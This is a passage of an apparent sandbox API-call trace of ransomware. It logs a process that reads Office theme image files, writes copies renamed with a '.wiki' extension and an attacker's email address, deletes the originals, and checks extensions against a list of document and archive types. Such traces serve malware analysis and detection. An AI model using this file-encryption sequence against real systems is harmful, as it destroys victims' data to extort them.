lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.335] SetEndOfFile (hFile=0x17c) returned 1 [0052.335] CloseHandle (hObject=0x17c) returned 1 [0052.336] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.336] SetEndOfFile (hFile=0x1f0) returned 1 [0052.336] CloseHandle (hObject=0x1f0) returned 1 [0052.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0052.337] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0052.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0052.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0052.337] lstrlenW (lpString=".doc") returned 4 [0052.337] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.337] lstrlenW (lpString=".docx") returned 5 [0052.337] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.337] lstrlenW (lpString=".pdf") returned 4 [0052.337] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.337] lstrlenW (lpString=".xls") returned 4 [0052.337] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.337] lstrlenW (lpString=".xlsx") returned 5 [0052.337] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.337] lstrlenW (lpString=".ppt") returned 4 [0052.337] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0052.337] lstrlenW (lpString=".zip") returned 4 [0052.337] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.337] lstrlenW (lpString=".rar") returned 4 [0052.337] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.337] lstrlenW (lpString=".bz2") returned 4 [0052.337] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.337] lstrlenW (lpString=".7z") returned 3 [0052.337] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0052.337] lstrlenW (lpString=".dbf") returned 4 [0052.337] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0052.337] lstrlenW (lpString=".1cd") returned 4 [0052.337] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0052.338] lstrlenW (lpString=".jpg") returned 4 [0052.338] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0052.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0052.338] lstrlenW (lpString=".doc") returned 4 [0052.338] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.338] lstrlenW (lpString=".docx") returned 5 [0052.338] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.338] lstrlenW (lpString=".pdf") returned 4 [0052.338] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.338] lstrlenW (lpString=".xls") returned 4 [0052.338] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.338] lstrlenW (lpString=".xlsx") returned 5 [0052.338] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.338] lstrlenW (lpString=".ppt") returned 4 [0052.338] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0052.338] lstrlenW (lpString=".zip") returned 4 [0052.338] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.338] lstrlenW (lpString=".rar") returned 4 [0052.338] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.338] lstrlenW (lpString=".bz2") returned 4 [0052.338] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.338] lstrlenW (lpString=".7z") returned 3 [0052.338] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0052.338] lstrlenW (lpString=".dbf") returned 4 [0052.338] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0052.338] lstrlenW (lpString=".1cd") returned 4 [0052.338] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0052.338] lstrlenW (lpString=".jpg") returned 4 [0052.338] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.339] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0052.339] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0052.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0052.347] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1354) returned 1 [0052.347] CloseHandle (hObject=0x1f0) returned 1 [0052.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0052.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0052.347] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.347] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.351] GetLastError () returned 0x0 [0052.351] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x54a, lpOverlapped=0x0) returned 1 [0052.353] WriteFile (in: hFile=0x17c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x550, lpOverlapped=0x0) returned 1 [0052.354] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.355] WriteFile (in: hFile=0x17c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.355] SetEndOfFile (hFile=0x17c) returned 1 [0052.355] CloseHandle (hObject=0x17c) returned 1 [0052.355] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.355] SetEndOfFile (hFile=0x1f0) returned 1 [0052.356] CloseHandle (hObject=0x1f0) returned 1 [0052.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0052.356] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1 [0052.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0052.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0052.356] lstrlenW (lpString=".doc") returned 4 [0052.356] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.356] lstrlenW (lpString=".docx") returned 5 [0052.356] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.356] lstrlenW (lpString=".pdf") returned 4 [0052.356] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.356] lstrlenW (lpString=".xls") returned 4 [0052.356] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.356] lstrlenW (lpString=".xlsx") returned 5 [0052.356] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.356] lstrlenW (lpString=".ppt") returned 4 [0052.356] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0052.357] lstrlenW (lpString=".zip") returned 4 [0052.357] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.357] lstrlenW (lpString=".rar") returned 4 [0052.357] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.357] lstrlenW (lpString=".bz2") returned 4 [0052.357] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.357] lstrlenW (lpString=".7z") returned 3 [0052.357] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0052.357] lstrlenW (lpString=".dbf") returned 4 [0052.357] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0052.357] lstrlenW (lpString=".1cd") returned 4 [0052.357] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0052.357] lstrlenW (lpString=".jpg") returned 4 [0052.357] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0052.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0052.357] lstrlenW (lpString=".doc") returned 4 [0052.357] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.357] lstrlenW (lpString=".docx") returned 5 [0052.357] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.357] lstrlenW (lpString=".pdf") returned 4 [0052.357] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.357] lstrlenW (lpString=".xls") returned 4 [0052.357] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.357] lstrlenW (lpString=".xlsx") returned 5 [0052.357] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.357] lstrlenW (lpString=".ppt") returned 4 [0052.357] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0052.357] lstrlenW (lpString=".zip") returned 4 [0052.357] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.357] lstrlenW (lpString=".rar") returned 4 [0052.357] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.358] lstrlenW (lpString=".bz2") returned 4 [0052.358] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.358] lstrlenW (lpString=".7z") returned 3 [0052.358] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0052.358] lstrlenW (lpString=".dbf") returned 4 [0052.358] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0052.358] lstrlenW (lpString=".1cd") returned 4 [0052.358] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0052.358] lstrlenW (lpString=".jpg") returned 4 [0052.358] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.358] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0052.358] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0052.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0052.358] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=32433) returned 1 [0052.358] CloseHandle (hObject=0x1f0) returned 1 [0052.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0052.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0052.359] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.359] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.359] GetLastError () returned 0x0 [0052.359] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x7eb1, lpOverlapped=0x0) returned 1 [0052.689] WriteFile (in: hFile=0x17c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x7ec0, lpOverlapped=0x0) returned 1 [0052.691] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.691] WriteFile (in: hFile=0x17c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.691] SetEndOfFile (hFile=0x17c) returned 1 [0052.691] CloseHandle (hObject=0x17c) returned 1 [0052.691] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.691] SetEndOfFile (hFile=0x1f0) returned 1 [0052.692] CloseHandle (hObject=0x1f0) returned 1 [0052.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0052.692] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1 [0052.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0052.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0052.692] lstrlenW (lpString=".doc") returned 4 [0052.692] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.692] lstrlenW (lpString=".docx") returned 5 [0052.692] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.693] lstrlenW (lpString=".pdf") returned 4 [0052.693] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.693] lstrlenW (lpString=".xls") returned 4 [0052.693] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.693] lstrlenW (lpString=".xlsx") returned 5 [0052.693] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.693] lstrlenW (lpString=".ppt") returned 4 [0052.693] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0052.693] lstrlenW (lpString=".zip") returned 4 [0052.693] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.693] lstrlenW (lpString=".rar") returned 4 [0052.693] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.693] lstrlenW (lpString=".bz2") returned 4 [0052.693] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.693] lstrlenW (lpString=".7z") returned 3 [0052.693] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0052.693] lstrlenW (lpString=".dbf") returned 4 [0052.693] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0052.693] lstrlenW (lpString=".1cd") returned 4 [0052.693] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0052.693] lstrlenW (lpString=".jpg") returned 4 [0052.693] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0052.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0052.693] lstrlenW (lpString=".doc") returned 4 [0052.693] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.693] lstrlenW (lpString=".docx") returned 5 [0052.693] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.693] lstrlenW (lpString=".pdf") returned 4 [0052.693] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.693] lstrlenW (lpString=".xls") returned 4 [0052.694] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.694] lstrlenW (lpString=".xlsx") returned 5 [0052.694] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.694] lstrlenW (lpString=".ppt") returned 4 [0052.694] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0052.694] lstrlenW (lpString=".zip") returned 4 [0052.694] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.694] lstrlenW (lpString=".rar") returned 4 [0052.694] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.694] lstrlenW (lpString=".bz2") returned 4 [0052.694] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.694] lstrlenW (lpString=".7z") returned 3 [0052.694] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0052.694] lstrlenW (lpString=".dbf") returned 4 [0052.694] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0052.694] lstrlenW (lpString=".1cd") returned 4 [0052.694] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0052.694] lstrlenW (lpString=".jpg") returned 4 [0052.694] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.694] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0052.694] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0052.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0052.695] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2476) returned 1 [0052.695] CloseHandle (hObject=0x1f0) returned 1 [0052.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0052.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0052.695] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.695] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0053.330] GetLastError () returned 0x0 [0053.330] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x9ac, lpOverlapped=0x0) returned 1 [0053.331] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0053.666] ReadFile (in: 